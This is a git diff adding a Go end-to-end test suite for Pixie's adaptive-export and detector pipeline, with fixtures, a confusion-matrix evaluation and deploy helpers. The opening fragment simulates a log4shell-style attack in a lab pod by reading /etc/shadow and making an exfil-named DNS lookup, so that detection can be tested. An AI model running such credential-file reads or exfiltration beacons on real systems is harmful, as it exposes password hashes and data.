+ kubeTry("-n", c.appNS, "exec", "deploy/"+c.backend, "--", "sh", "-c",
+ "whoami; id; cat /etc/shadow 2>/dev/null | head -1; "+
+ "getent hosts exfil.$RANDOM.probe.internal >/dev/null 2>&1 || true")
+ t.Log("java-poc disease fired (JNDI egress + post-lookup spawn)")
+}
+
+// ---- small live helpers ----
+
+func requireRunning(t *testing.T, e Env, ns, sub string) {
+ t.Helper()
+ out, err := exec.Command("kubectl", "-n", ns, "get", "pods", "--no-headers").CombinedOutput()
+ require.NoErrorf(t, err, "kubectl get pods -n %s", ns)
+ for _, ln := range strings.Split(string(out), "\n") {
+ if strings.Contains(ln, sub) && strings.Contains(ln, "Running") {
+ return
+ }
+ }
+ t.Fatalf("no Running pod matching %q in ns %s", sub, ns)
+}
+
+func kubeTry(args ...string) { _ = exec.Command("kubectl", args...).Run() }
+
+// waitUntil polls cond every 3s until it is true or d elapses. Returns whether
+// cond was met (callers that don't care may ignore the result).
+func waitUntil(d time.Duration, cond func() bool) bool {
+ deadline := time.Now().Add(d)
+ for time.Now().Before(deadline) {
+ if cond() {
+ return true
+ }
+ time.Sleep(3 * time.Second)
+ }
+ return cond()
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/confusion_test.go b/src/e2e_test/adaptive_export_loadtest/suite/confusion_test.go
new file mode 100644
index 00000000000..d570bbf4cad
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/confusion_test.go
@@ -0,0 +1,211 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "fmt"
+ "os/exec"
+ "regexp"
+ "sort"
+ "strings"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+)
+
+// TestStackEvidence extracts the KPIs of EVERY workload in the deployed stack and
+// scores dx's verdicts against ground truth as a confusion matrix. It is the
+// apples-to-apples evidence report for a skaffold-deployed stack, and it turns
+// false positives into a test failure.
+//
+// Ground truth (the java-poc chain): only `backend` is malignant, and only under
+// the log4shell scenario. Everything else is benign. A verdict that rules a benign
+// workload in — OR rules the backend in under the WRONG scenario (e.g. the
+// argocd-malicious-render cross-fire) — is a false positive and fails the run.
+//
+// Live-gated: AELOAD_LIVE=1 (+ AELOAD_E2E=1 to assert, else report-only).
+func TestStackEvidence(t *testing.T) {
+ e := RequireLiveEnv(t)
+ c := loadCalibConfig()
+ // The matrix always REPORTS. It only fails the run under AELOAD_MATRIX=1 — a
+ // dedicated gate, so a dx false positive (a dx-repo concern) doesn't turn an
+ // AE change red by default.
+ assert := isTrue("AELOAD_MATRIX")
+
+ // ---- ground truth: workload -> the scenarios for which ruling it in is correct ----
+ truth := map[string]map[string]bool{
+ c.backend: {"log4shell-rce-exfil": true, "listeriosis": true}, // the only malignant workload
+ "frontend": {},
+ "observer": {},
+ "postgres": {},
+ "cleannoise": {},
+ }
+ malignant := map[string]bool{c.backend: true}
+
+ pods := podsByWorkload(t, c.appNS, keys(truth))
+
+ // ---- per-workload KPIs (from every pod, across the whole stack) ----
+ t.Log("================ PER-WORKLOAD KPIs (java-poc) ================")
+ t.Logf("%-12s %-28s %-6s %-6s %-6s %-8s", "workload", "pod", "R0001", "R0010", "attrib", "egress")
+ for _, w := range keys(truth) {
+ pod := pods[w]
+ r1 := podAnomalies(t, e, c.appNS, w, "R0001")
+ r10 := podAnomalies(t, e, c.appNS, w, "R0010")
+ att := e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM forensic_db.adaptive_attribution WHERE pod LIKE '%%%s%%'", w))
+ egr := e.QueryInt(t, fmt.Sprintf(
+ "SELECT countDistinct(remote_port) FROM forensic_db.conn_stats WHERE pod LIKE '%%%s%%' AND remote_port>0", w))
+ t.Logf("%-12s %-28s %-6d %-6d %-6d %-8d", w, short(pod), r1, r10, att, egr)
+ }
+
+ // ---- dx verdicts per workload (latest ruled_in scenarios across ALL dx pods) ----
+ ruleins := dxRuleinsByWorkload(t, c)
+ t.Log("================ dx VERDICTS ================")
+ for _, w := range keys(truth) {
+ if s := ruleins[w]; len(s) > 0 {
+ t.Logf(" %-12s ruled_in %v", w, s)
+ } else {
+ t.Logf(" %-12s ruled_out / none", w)
+ }
+ }
+
+ // ---- confusion matrix over (workload, scenario) ----
+ var tp, fp, fn int
+ var fps, fns []string
+ for w, scenarios := range ruleins {
+ for sc := range scenarios {
+ if truth[w][sc] {
+ tp++
+ } else {
+ fp++
+ fps = append(fps, fmt.Sprintf("%s ruled_in [%s]", w, sc))
+ }
+ }
+ }
+ for w := range malignant {
+ hit := false
+ for sc := range ruleins[w] {
+ if truth[w][sc] {
+ hit = true
+ }
+ }
+ if !hit {
+ fn++
+ fns = append(fns, w)
+ }
+ }
+ // TN: benign workloads with no rule-in at all.
+ tn := 0
+ for w := range truth {
+ if !malignant[w] && len(ruleins[w]) == 0 {
+ tn++
+ }
+ }
+
+ sort.Strings(fps)
+ sort.Strings(fns)
+ t.Log("================ CONFUSION MATRIX ================")
+ t.Logf(" TP=%d FP=%d FN=%d TN=%d", tp, fp, fn, tn)
+ prec := ratio(tp, tp+fp)
+ rec := ratio(tp, tp+fn)
+ t.Logf(" precision=%.2f recall=%.2f", prec, rec)
+ for _, f := range fps {
+ t.Logf(" FALSE POSITIVE: %s", f)
+ }
+ for _, f := range fns {
+ t.Logf(" FALSE NEGATIVE: %s (expected malignant, not ruled in)", f)
+ }
+
+ if !assert {
+ t.Skip("AELOAD_E2E != 1 — evidence reported, matrix not asserted")
+ }
+ require.Zerof(t, fp, "dx false positives: %v", fps)
+ require.Zerof(t, fn, "dx false negatives: %v", fns)
+ require.Greater(t, tp, 0, "no true-positive rule-in — the disease was not detected")
+}
+
+// ---- helpers ----
+
+var verdictRe = regexp.MustCompile(`verdict ([^/ ]+)/(\S+) .*?ruled_in \[([^\]]+)\]`)
+
+// dxRuleinsByWorkload returns workload -> set of scenarios dx ruled in, across all
+// dx-daemon pods (per-node DaemonSet), keyed by the pod's workload prefix.
+func dxRuleinsByWorkload(t *testing.T, c calibConfig) map[string]map[string]bool {
+ t.Helper()
+ out, _ := exec.Command("kubectl", "-n", c.dxNS, "logs", "ds/"+c.dxDS, "--tail=8000", "--all-pods=true").CombinedOutput()
+ res := map[string]map[string]bool{}
+ for _, m := range verdictRe.FindAllStringSubmatch(string(out), -1) {
+ ns, pod, scenario := m[1], m[2], m[3]
+ if ns != c.appNS {
+ continue
+ }
+ w := workloadOf(pod)
+ if res[w] == nil {
+ res[w] = map[string]bool{}
+ }
+ res[w][scenario] = true
+ }
+ return res
+}
+
+// workloadOf reduces a pod name (backend-59577db868-4wxxs) to its workload (backend).
+func workloadOf(pod string) string {
+ parts := strings.Split(pod, "-")
+ if len(parts) >= 3 {
+ return strings.Join(parts[:len(parts)-2], "-")
+ }
+ return pod
+}
+
+func podsByWorkload(t *testing.T, ns string, workloads []string) map[string]string {
+ t.Helper()
+ m := map[string]string{}
+ for _, w := range workloads {
+ out, _ := exec.Command("kubectl", "-n", ns, "get", "pod", "-l", "app="+w,
+ "-o", "jsonpath={.items[0].metadata.name}").CombinedOutput()
+ m[w] = strings.TrimSpace(string(out))
+ }
+ return m
+}
+
+func podAnomalies(t *testing.T, e Env, ns, workload, rule string) int {
+ return e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM forensic_db.kubescape_logs WHERE RuleID='%s' AND RuntimeK8sDetails LIKE '%%%s%%' AND RuntimeK8sDetails LIKE '%%%s%%'",
+ rule, ns, workload))
+}
+
+func isTrue(env string) bool { return envOr(env, "") == "1" }
+func keys(m map[string]map[string]bool) []string {
+ var k []string
+ for x := range m {
+ k = append(k, x)
+ }
+ sort.Strings(k)
+ return k
+}
+func short(s string) string {
+ if s == "" {
+ return "-"
+ }
+ return s
+}
+func ratio(a, b int) float64 {
+ if b == 0 {
+ return 0
+ }
+ return float64(a) / float64(b)
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/deploy.go b/src/e2e_test/adaptive_export_loadtest/suite/deploy.go
new file mode 100644
index 00000000000..c61dd913c6f
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/deploy.go
@@ -0,0 +1,118 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "os"
+ "os/exec"
+ "strings"
+ "testing"
+ "time"
+)
+
+// EnsureE2EStack stands up the entire NON-Pixie e2e environment with ONE command,
+// so the calibration runs against a reproducible stack instead of a hand-installed
+// one. It deploys, in order:
+//
+// 1. the SOC stack — ClickHouse -> kubescape -> vector (soc repo, module soc-stack)
+// 2. the sample apps — SBoBs -> java-poc workloads + pathogen (bob repo, module java-poc-apps)
+//
+// Each component is deployed from its golden-source repo's own Skaffold (one source
+// of truth per component). Pixie itself (pl: vizier + adaptive_export) is overlaid
+// separately by Pixie's native Skaffold and is NOT touched here.
+//
+// Gating / config (all via env, so the suite stays runnable on a pre-deployed rig):
+//
+// AELOAD_DEPLOY=1 run the deploy (else no-op — assume the rig is already up)
+// AELOAD_CLEAN=1 first remove the non-Pixie components (keeps pl + dx), for a
+// from-scratch redeploy
+// AELOAD_SOC_DIR local soc checkout (default: use the git-pinned ../skaffold.yaml)
+// AELOAD_BOB_DIR local bob checkout (default: use the git-pinned reference)
+//
+// Requires `skaffold` and `kubectl` in PATH, with the current context pointed at
+// the target k3s rig.
+func EnsureE2EStack(t *testing.T) {
+ t.Helper()
+ if os.Getenv("AELOAD_DEPLOY") != "1" {
+ t.Log("AELOAD_DEPLOY != 1 — skipping stack deploy (assuming a pre-deployed rig)")
+ return
+ }
+ if _, err := exec.LookPath("skaffold"); err != nil {
+ t.Fatalf("skaffold not found in PATH — required for AELOAD_DEPLOY=1: %v", err)
+ }
+
+ if os.Getenv("AELOAD_CLEAN") == "1" {
+ cleanNonPixie(t)
+ }
+
+ // 1) SOC stack. Prefer a local checkout; else the git-pinned requires config.
+ if soc := os.Getenv("AELOAD_SOC_DIR"); soc != "" {
+ skaffoldDeploy(t, soc, "soc-stack")
+ } else {
+ skaffoldDeploy(t, ".", "soc-stack") // resolved via the e2e-nonpixie requires
+ }
+ // 2) sample apps (SBoBs then workloads).
+ if bob := os.Getenv("AELOAD_BOB_DIR"); bob != "" {
+ skaffoldDeploy(t, bob+"/example/java-poc", "java-poc-apps")
+ } else {
+ skaffoldDeploy(t, ".", "java-poc-apps")
+ }
+
+ // brief settle for the node-agent to bind the User SBoBs before the pods run.
+ time.Sleep(8 * time.Second)
+ t.Log("e2e non-Pixie stack deployed (soc stack -> bob sbobs+apps)")
+}
+
+// skaffoldDeploy runs `skaffold deploy -m -p k3s` in dir, streaming output.
+func skaffoldDeploy(t *testing.T, dir, module string) {
+ t.Helper()
+ cmd := exec.Command("skaffold", "deploy", "-m", module, "-p", "k3s")
+ cmd.Dir = dir
+ out, err := cmd.CombinedOutput()
+ if err != nil {
+ t.Fatalf("skaffold deploy -m %s (dir=%s) failed: %v\n%s", module, dir, err, out)
+ }
+ t.Logf("skaffold deploy -m %s: ok", module)
+}
+
+// cleanNonPixie removes the components this suite (re)deploys so a redeploy is
+// from-scratch: the app + forensic namespaces, and the kubescape/vector helm
+// releases in honey. It deliberately leaves `pl` (Pixie + adaptive_export) and the
+// dx-daemon alone — those are owned elsewhere and are the overlay this suite runs on.
+func cleanNonPixie(t *testing.T) {
+ t.Helper()
+ t.Log("AELOAD_CLEAN=1 — removing non-Pixie components (keeping pl + dx)")
+ sh(t, "helm", "uninstall", "vector", "-n", "honey")
+ sh(t, "helm", "uninstall", "kubescape", "-n", "honey")
+ for _, ns := range []string{"java-poc", "pathogen-ns", "clickhouse"} {
+ sh(t, "kubectl", "delete", "ns", ns, "--ignore-not-found", "--wait=false")
+ }
+ // wait for the namespaces to finish terminating before redeploy (server-side).
+ for _, ns := range []string{"java-poc", "pathogen-ns", "clickhouse"} {
+ _ = exec.Command("kubectl", "wait", "--for=delete", "ns/"+ns, "--timeout=120s").Run()
+ }
+}
+
+// sh runs a command best-effort (clean steps should not fail the run if a
+// component was already absent).
+func sh(t *testing.T, name string, args ...string) {
+ t.Helper()
+ out, err := exec.Command(name, args...).CombinedOutput()
+ if err != nil && !strings.Contains(string(out), "not found") {
+ t.Logf("(clean) %s %s: %v\n%s", name, strings.Join(args, " "), err, out)
+ }
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/fixtures.go b/src/e2e_test/adaptive_export_loadtest/suite/fixtures.go
new file mode 100644
index 00000000000..db072e36286
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/fixtures.go
@@ -0,0 +1,147 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+package aeloadsuite
+
+import (
+ "fmt"
+ "testing"
+ "time"
+)
+
+// controlFixture is one deterministic control-plane experiment. It injects a
+// curated kubescape_logs set and asserts the exact control surface AE derives
+// from it (adaptive_attribution FINAL + uniqExact(anomaly_hash)). Because that
+// surface is a pure function of the injected rows, the KPI is Reproducibility:
+// every rep must yield the same (hashes, attrib), and it must equal want.
+type controlFixture struct {
+ name string
+ desc string
+ reps int
+ fanout int // distinct workloads (pods) per rep; default 1
+ count int // rows per workload; default 1
+ dtSec int64 // seconds between successive rows; default 1
+ rules []string // kubescape RuleIDs injected per workload; default {"R0001"}
+ same bool // reuse one event_time for all rows (boundary-dedup case)
+ restart bool // restart AE mid-rep, then re-measure (idempotency case)
+
+ wantHashes int
+ wantAttrib int
+}
+
+// controlFixtures — the deterministic reproducibility suite. Names describe the
+// property under test; there are no CVE or incident-scenario tokens here because
+// the control plane is pure kubescape-metadata bookkeeping, independent of any
+// workload's behaviour.
+var controlFixtures = []controlFixture{
+ {
+ name: "single-anomaly", reps: 100,
+ desc: "one anomaly row -> one workload identity, one attribution row",
+ wantHashes: 1, wantAttrib: 1,
+ },
+ {
+ name: "dedup-extend", reps: 100, count: 10, dtSec: 1,
+ desc: "10 rows, same workload, monotone event_time -> window extended, not multiplied",
+ wantHashes: 1, wantAttrib: 1,
+ },
+ {
+ name: "fan-out", reps: 20, fanout: 8,
+ desc: "8 distinct workloads -> 8 identities, 8 attribution rows",
+ wantHashes: 8, wantAttrib: 8,
+ },
+ {
+ name: "boundary-collision", reps: 100, rules: []string{"R0001", "R0010"}, same: true,
+ desc: "two rules at one event_time, same workload -> fingerprint dedup, one identity",
+ wantHashes: 1, wantAttrib: 1,
+ },
+ {
+ name: "watermark-idempotent-restart", reps: 10, restart: true,
+ desc: "attribution stays exactly 1 across an AE restart (no double-count)",
+ wantHashes: 1, wantAttrib: 1,
+ },
+}
+
+// measurement is one rep's observed control surface.
+type measurement struct {
+ hashes int
+ attrib int
+}
+
+// runRep injects the fixture's rows for one rep and returns the measured
+// control surface. podPrefix is globally unique per rep so the LIKE-scoped reads
+// isolate reps even when their windows overlap.
+func (f controlFixture) runRep(t *testing.T, e Env, node string, rep int) measurement {
+ t.Helper()
+ fanout := f.fanout
+ if fanout == 0 {
+ fanout = 1
+ }
+ count := f.count
+ if count == 0 {
+ count = 1
+ }
+ dt := f.dtSec
+ if dt == 0 {
+ dt = 1
+ }
+ rules := f.rules
+ if len(rules) == 0 {
+ rules = []string{"R0001"}
+ }
+ // event_time = real current time in unix NANOSECONDS — the canonical unit
+ // end-to-end (Vector kubescape_enrich emits ns; the forensic_db DDL converts
+ // with fromUnixTimestamp64Nano). The trigger watermark is a strict high-water
+ // mark, so now-based stamps keep it tracking wall-clock and monotone across
+ // reps sharing this node (contract C3).
+ base := time.Now().UnixNano()
+ podPrefix := fmt.Sprintf("cp-%s-%03d", f.name, rep)
+
+ for j := 0; j < fanout; j++ {
+ pod := podPrefix
+ if fanout > 1 {
+ pod = fmt.Sprintf("%s-%d", podPrefix, j+1)
+ }
+ var rows []AnomalyRow
+ for _, rule := range rules {
+ for i := 0; i < count; i++ {
+ et := base
+ if !f.same {
+ // dtSec is a logical step in seconds; stamps are nanoseconds.
+ et = base + int64(i)*dt*int64(time.Second)
+ }
+ rows = append(rows, AnomalyRow{
+ Namespace: "aeload", Pod: pod, RuleID: rule,
+ PID: 1234 + j, Comm: "java", EventTime: et, Hostname: node,
+ })
+ }
+ }
+ e.Inject(t, rows...)
+ }
+
+ // Let all rows (spanning (count-1)*dt seconds) be polled before measuring.
+ if span := (count - 1) * int(dt); span > 0 {
+ time.Sleep(time.Duration(span+2) * time.Second)
+ }
+
+ if f.restart {
+ e.WaitAttrib(t, node, podPrefix, f.wantAttrib, 20)
+ e.RestartAE(t)
+ }
+
+ attrib := e.WaitAttrib(t, node, podPrefix, f.wantAttrib, 25)
+ hashes := e.UniqHashes(t, node, podPrefix)
+ return measurement{hashes: hashes, attrib: attrib}
+}
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/go.mod b/src/e2e_test/adaptive_export_loadtest/suite/go.mod
new file mode 100644
index 00000000000..4d26eebfc7f
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/go.mod
@@ -0,0 +1,11 @@
+module aeloadsuite
+
+go 1.22
+
+require github.com/stretchr/testify v1.8.4
+
+require (
+ github.com/davecgh/go-spew v1.1.1 // indirect
+ github.com/pmezard/go-difflib v1.0.0 // indirect
+ gopkg.in/yaml.v3 v3.0.1 // indirect
+)
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/go.sum b/src/e2e_test/adaptive_export_loadtest/suite/go.sum
new file mode 100644
index 00000000000..fa4b6e6825c
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/go.sum
@@ -0,0 +1,10 @@
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
+github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/src/e2e_test/adaptive_export_loadtest/suite/harness.go b/src/e2e_test/adaptive_export_loadtest/suite/harness.go
new file mode 100644
index 00000000000..3ad8368fac8
--- /dev/null
+++ b/src/e2e_test/adaptive_export_loadtest/suite/harness.go
@@ -0,0 +1,323 @@
+// Copyright 2018- The Pixie Authors.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// SPDX-License-Identifier: Apache-2.0
+
+// Package aeloadsuite is the live adaptive-export (AE) load-test suite.
+//
+// It replaces the former shell harness with a table-driven Go test framework:
+// each experiment is a fixture (§fixtures.go), each measurement is a named KPI
+// asserted with testify/require (§kpi.go), and one runner drives them against a
+// deployed AE image on a real rig (§suite_test.go).
+//
+// The only AE input under test is the kubescape_logs trigger stream: real
+// kubescape is NOT deployed. Fixtures inject curated rows over the ClickHouse
+// HTTP interface (Vector-shaped, exact event_time control) and read back the
+// deterministic forensic_db surface. Kubernetes/kubescape wire tokens (RuleID
+// R00xx, column names) are external contracts and stay literal.
+package aeloadsuite
+
+import (
+ "bytes"
+ "encoding/json"
+ "fmt"
+ "net/http"
+ "os"
+ "os/exec"
+ "strconv"
+ "strings"
+ "testing"
+ "time"
+)
+
+// Env is the resolved live-rig configuration. Populated from AELOAD_* env vars
+// by RequireLiveEnv, which skips the suite when AELOAD_LIVE != "1" so a plain
+// `go test ./...` is a no-op in CI.
+type Env struct {
+ CHURL string // ClickHouse HTTP endpoint, e.g. http://127.0.0.1:8123
+ CHUser string // read-side user (empty = default user)
+ CHPass string
+ CHWUser string // ingest (write) user
+ CHWPass string
+ AENS string // AE namespace (default pl)
+ AEDaemon string // AE DaemonSet name (default adaptive-export)
+ Node string // the node whose hostname AE polls; resolved if empty
+
+ http *http.Client
+}
+
+// RequireLiveEnv loads the rig config or skips the test. The suite is live-only:
+// it drives a deployed AE image, so it runs only when explicitly enabled.
+func RequireLiveEnv(t *testing.T) Env {
+ t.Helper()
+ if os.Getenv("AELOAD_LIVE") != "1" {
+ t.Skip("AELOAD_LIVE != 1 — live AE suite skipped (set AELOAD_LIVE=1 + AELOAD_CH_URL + KUBECONFIG)")
+ }
+ e := Env{
+ CHURL: envOr("AELOAD_CH_URL", "http://127.0.0.1:8123"),
+ CHUser: os.Getenv("AELOAD_CH_USER"),
+ CHPass: os.Getenv("AELOAD_CH_PASS"),
+ CHWUser: envOr("AELOAD_CH_WUSER", "ingest_writer"),
+ CHWPass: envOr("AELOAD_CH_WPASS", "changeme-ingest"),
+ AENS: envOr("AELOAD_AE_NS", "pl"),
+ AEDaemon: envOr("AELOAD_AE_DS", "adaptive-export"),
+ Node: os.Getenv("AELOAD_NODE"),
+ http: &http.Client{Timeout: 30 * time.Second},
+ }
+ if e.Node == "" {
+ e.Node = e.FirstNode(t)
+ }
+ if e.Node == "" {
+ t.Fatal("could not resolve a node name (set AELOAD_NODE)")
+ }
+ return e
+}
+
+func envOr(k, def string) string {
+ if v := os.Getenv(k); v != "" {
+ return v
+ }
+ return def
+}
+
+// ---- ClickHouse over HTTP (no driver; mirrors the curl path the scripts used) ----
+
+// chReq posts a query with the given credentials and returns the trimmed body.
+func (e Env) chReq(user, pass, sql string, body []byte) (string, error) {
+ url := strings.TrimRight(e.CHURL, "/") + "/"
+ var lastErr error
+ // Retry transient transport errors (e.g. a kubectl port-forward EOF) and 5xx;
+ // a fresh request is built each attempt so the body reader is re-readable.
+ for attempt := 0; attempt < 4; attempt++ {
+ if attempt > 0 {
+ time.Sleep(time.Duration(attempt) * 500 * time.Millisecond)
+ }
+ var req *http.Request
+ var err error
+ if body == nil {
+ req, err = http.NewRequest(http.MethodPost, url, strings.NewReader(sql))
+ } else {
+ req, err = http.NewRequest(http.MethodPost, url, bytes.NewReader(body))
+ if err == nil {
+ q := req.URL.Query()
+ q.Set("query", sql)
+ req.URL.RawQuery = q.Encode()
+ req.Header.Set("Content-Type", "application/x-ndjson")
+ }
+ }
+ if err != nil {
+ return "", err
+ }
+ if user != "" {
+ req.SetBasicAuth(user, pass)
+ }
+ resp, err := e.http.Do(req)
+ if err != nil {
+ lastErr = err // transient (port-forward blip) — retry
+ continue
+ }
+ buf := new(bytes.Buffer)
+ _, _ = buf.ReadFrom(resp.Body)
+ resp.Body.Close()
+ if resp.StatusCode/100 != 2 {
+ err := fmt.Errorf("clickhouse HTTP %d: %s", resp.StatusCode, strings.TrimSpace(buf.String()))
+ if resp.StatusCode/100 == 5 {
+ lastErr = err // server-side transient — retry
+ continue
+ }
+ return "", err // 4xx is a real error — do not retry
+ }
+ return strings.TrimSpace(buf.String()), nil
+ }
+ return "", lastErr
+}
+
+// Query runs a read query with the read-side credentials.
+func (e Env) Query(t *testing.T, sql string) string {
+ t.Helper()
+ out, err := e.chReq(e.CHUser, e.CHPass, sql, nil)
+ if err != nil {
+ t.Fatalf("clickhouse query failed: %v\nsql: %s", err, sql)
+ }
+ return out
+}
+
+// QueryInt runs a scalar read query and parses it as an int (0 if empty).
+func (e Env) QueryInt(t *testing.T, sql string) int {
+ t.Helper()
+ s := strings.TrimSpace(e.Query(t, sql))
+ if s == "" {
+ return 0
+ }
+ n, err := strconv.Atoi(digitsOnly(s))
+ if err != nil {
+ t.Fatalf("clickhouse scalar %q not an int: %v (sql: %s)", s, err, sql)
+ }
+ return n
+}
+
+func digitsOnly(s string) string {
+ var b strings.Builder
+ for _, r := range s {
+ if r >= '0' && r <= '9' {
+ b.WriteRune(r)
+ }
+ }
+ if b.Len() == 0 {
+ return "0"
+ }
+ return b.String()
+}
+
+// ---- kubescape_logs injection (Vector-shaped rows; port of inject.sh) ----
+
+// AnomalyRow is one kubescape_logs trigger row. event_time is unix NANOSECONDS —
+// the canonical unit end-to-end: the SOC Vector kubescape_enrich sink emits ns
+// and the forensic_db DDL converts with fromUnixTimestamp64Nano (contract C1).
+// RuleID values (R0001, R0010, …) are kubescape external wire and stay literal.
+// anomaly_hash is computed by AE, not here, so per-rep isolation comes from a
+// unique Pod (+ unique Hostname).
+type AnomalyRow struct {
+ Namespace string
+ Pod string
+ RuleID string
+ PID int
+ Comm string
+ EventTime int64
+ Hostname string
+}
+
+// Inject writes the rows into forensic_db.kubescape_logs via JSONEachRow. The
+// JSON-string columns (RuntimeK8sDetails/RuntimeProcessDetails/BaseRuntimeMetadata)
+// are marshaled with encoding/json so escaping is correct by construction.
+func (e Env) Inject(t *testing.T, rows ...AnomalyRow) {
+ t.Helper()
+ var body bytes.Buffer
+ enc := json.NewEncoder(&body)
+ for _, r := range rows {
+ k8s, _ := json.Marshal(map[string]any{"podName": r.Pod, "podNamespace": r.Namespace})
+ proc, _ := json.Marshal(map[string]any{"processTree": map[string]any{"pid": r.PID, "comm": r.Comm}})
+ base, _ := json.Marshal(map[string]any{"alertName": r.RuleID})
+ if err := enc.Encode(map[string]any{
+ "BaseRuntimeMetadata": string(base),
+ "CloudMetadata": "",
+ "RuleID": r.RuleID,
+ "RuntimeK8sDetails": string(k8s),
+ "RuntimeProcessDetails": string(proc),
+ "event": "",
+ "event_time": r.EventTime,
+ "hostname": r.Hostname,
+ }); err != nil {
+ t.Fatalf("encode anomaly row: %v", err)
+ }
+ }
+ sql := "INSERT INTO forensic_db.kubescape_logs FORMAT JSONEachRow"
+ if _, err := e.chReq(e.CHWUser, e.CHWPass, sql, body.Bytes()); err != nil {
+ t.Fatalf("inject kubescape_logs failed: %v", err)
+ }
+}
+
+// ---- deterministic control-surface reads (port of lib.sh count helpers) ----
+
+// AttribCount returns adaptive_attribution FINAL rows for a rep, matched by the
+// rep's globally-unique pod substring. adaptive_attribution stores the BARE pod
+// name, so the LIKE is safe.
+func (e Env) AttribCount(t *testing.T, node, podLike string) int {
+ return e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM (SELECT 1 FROM forensic_db.adaptive_attribution FINAL WHERE hostname='%s' AND pod LIKE '%%%s%%')",
+ node, podLike))
+}
+
+// UniqHashes returns the distinct anomaly_hash count for a rep.
+func (e Env) UniqHashes(t *testing.T, node, podLike string) int {
+ return e.QueryInt(t, fmt.Sprintf(
+ "SELECT uniqExact(anomaly_hash) FROM forensic_db.adaptive_attribution WHERE hostname='%s' AND pod LIKE '%%%s%%'",
+ node, podLike))
+}
+
+// Watermark returns the persisted trigger watermark for a node (monotone across
+// reps sharing the node; persistence is throttled ~5s, so it is checked for
+// monotonicity, never as a hard exact gate).
+func (e Env) Watermark(t *testing.T, node string) int64 {
+ s := e.Query(t, fmt.Sprintf(
+ "SELECT watermark FROM forensic_db.trigger_watermark FINAL WHERE hostname='%s' AND table_name='kubescape_logs'", node))
+ n, _ := strconv.ParseInt(digitsOnly(s), 10, 64)
+ return n
+}
+
+// TableRows returns protocol-table rows for a rep (pod stored as "/").
+func (e Env) TableRows(t *testing.T, table, podLike string) int {
+ return e.QueryInt(t, fmt.Sprintf(
+ "SELECT count() FROM forensic_db.`%s` WHERE pod LIKE '%%%s%%'", table, podLike))
+}
+
+// WaitAttrib polls adaptive_attribution until it reaches want (AE's 250ms poll +
+// write can lag a few seconds). Returns the final observed count.
